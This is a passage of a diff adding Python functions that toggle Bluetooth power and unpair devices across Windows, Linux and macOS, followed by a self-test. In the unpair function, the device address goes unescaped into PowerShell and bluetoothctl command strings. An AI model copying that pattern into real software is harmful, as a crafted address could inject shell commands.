+
result["enabled"] = enable
|
|
512
|
+
else:
|
|
513
|
+
result["error"] = stderr.strip() or "Toggle failed"
|
|
514
|
+
|
|
515
|
+
elif _is_linux():
|
|
516
|
+
cmd = "power on" if enable else "power off"
|
|
517
|
+
_run_bluetoothctl(cmd)
|
|
518
|
+
time.sleep(1)
|
|
519
|
+
stdout, _, _ = _run("bluetoothctl show | grep 'powered'")
|
|
520
|
+
result["enabled"] = "yes" in stdout.lower()
|
|
521
|
+
|
|
522
|
+
elif _is_macos():
|
|
523
|
+
if enable:
|
|
524
|
+
stdout, stderr, rc = _run("blueutil --power 1")
|
|
525
|
+
else:
|
|
526
|
+
stdout, stderr, rc = _run("blueutil --power 0")
|
|
527
|
+
if rc == 0:
|
|
528
|
+
result["enabled"] = enable
|
|
529
|
+
else:
|
|
530
|
+
result["error"] = stderr.strip() or "Toggle failed"
|
|
531
|
+
else:
|
|
532
|
+
result["error"] = f"Unsupported platform: {platform.system()}"
|
|
533
|
+
except Exception as exc:
|
|
534
|
+
result["error"] = str(exc)
|
|
535
|
+
logger.exception("bt_toggle failed")
|
|
536
|
+
return result
|
|
537
|
+
|
|
538
|
+
|
|
539
|
+
def bt_remove_device(address: str) -> dict:
|
|
540
|
+
"""Remove/unpair a Bluetooth device.
|
|
541
|
+
|
|
542
|
+
Returns ``{"type": "bt_remove_device", "removed": bool, "address": str}``.
|
|
543
|
+
"""
|
|
544
|
+
result: Dict[str, Any] = {"type": "bt_remove_device", "removed": False, "address": address}
|
|
545
|
+
try:
|
|
546
|
+
if _is_windows():
|
|
547
|
+
safe_addr = address.replace(":", "-")
|
|
548
|
+
stdout, stderr, rc = _run_ps(
|
|
549
|
+
f"Get-PnpDevice -InstanceId '*{safe_addr}*' -ErrorAction SilentlyContinue "
|
|
550
|
+
"| Disable-PnpDevice -Confirm:$false -ErrorAction SilentlyContinue; "
|
|
551
|
+
f"Get-PnpDevice -InstanceId '*{safe_addr}*' -ErrorAction SilentlyContinue "
|
|
552
|
+
"| Remove-PnpDevice -Confirm:$false -ErrorAction Stop"
|
|
553
|
+
)
|
|
554
|
+
result["removed"] = rc == 0
|
|
555
|
+
if rc != 0 and stderr.strip():
|
|
556
|
+
result["error"] = stderr.strip()
|
|
557
|
+
|
|
558
|
+
elif _is_linux():
|
|
559
|
+
stdout, stderr, rc = _run_bluetoothctl(f"remove {address}")
|
|
560
|
+
result["removed"] = rc == 0 and "successfully" in stdout.lower()
|
|
561
|
+
if not result["removed"] and stderr.strip():
|
|
562
|
+
result["error"] = stderr.strip()
|
|
563
|
+
|
|
564
|
+
elif _is_macos():
|
|
565
|
+
result["error"] = (
|
|
566
|
+
"macOS does not expose a reliable CLI to remove Bluetooth pairings. "
|
|
567
|
+
"Use System Preferences > Bluetooth to remove the device."
|
|
568
|
+
)
|
|
569
|
+
else:
|
|
570
|
+
result["error"] = f"Unsupported platform: {platform.system()}"
|
|
571
|
+
except Exception as exc:
|
|
572
|
+
result["error"] = str(exc)
|
|
573
|
+
logger.exception("bt_remove_device failed")
|
|
574
|
+
return result
|
|
575
|
+
|
|
576
|
+
|
|
577
|
+
# ---------------------------------------------------------------------------
|
|
578
|
+
# Self-test
|
|
579
|
+
# ---------------------------------------------------------------------------
|
|
580
|
+
|
|
581
|
+
if __name__ == "__main__":
|
|
582
|
+
import json as _json
|
|
583
|
+
import sys as _sys
|
|
584
|
+
|
|
585
|
+
print("=" * 60)
|
|
586
|
+
print("bluetooth.py self-test")
|
|
587
|
+
print(f"Platform: {platform.system()}")
|
|
588
|
+
print("=" * 60)
|
|
589
|
+
|
|
590
|
+
print("\n--- bt_status ---")
|
|
591
|
+
try:
|
|
592
|
+
status = bt_status()
|
|
593
|
+
print(_json.dumps(status, indent=2))
|
|
594
|
+
except Exception as exc:
|
|
595
|
+
print(f"bt_status raised: {exc}")
|
|
596
|
+
|
|
597
|
+
print("\n--- bt_list_paired ---")
|
|
598
|
+
try:
|
|
599
|
+
paired = bt_list_paired()
|
|
600
|
+
print(_json.dumps(paired, indent=2))
|
|
601
|
+
except Exception as exc:
|
|
602
|
+
print(f"bt_list_paired raised: {exc}")
|
|
603
|
+
|
|
604
|
+
print("\n--- bt_scan (5s) ---")
|
|
605
|
+
try:
|
|
606
|
+
scan = bt_scan(duration=5)
|
|
607
|
+
print(_json.dumps(scan, indent=2))
|
|
608
|
+
except Exception as exc:
|
|
609
|
+
print(f"bt_scan raised: {exc}")
|
|
610
|
+
|
|
611
|
+
print("\nSelf-test complete.")
|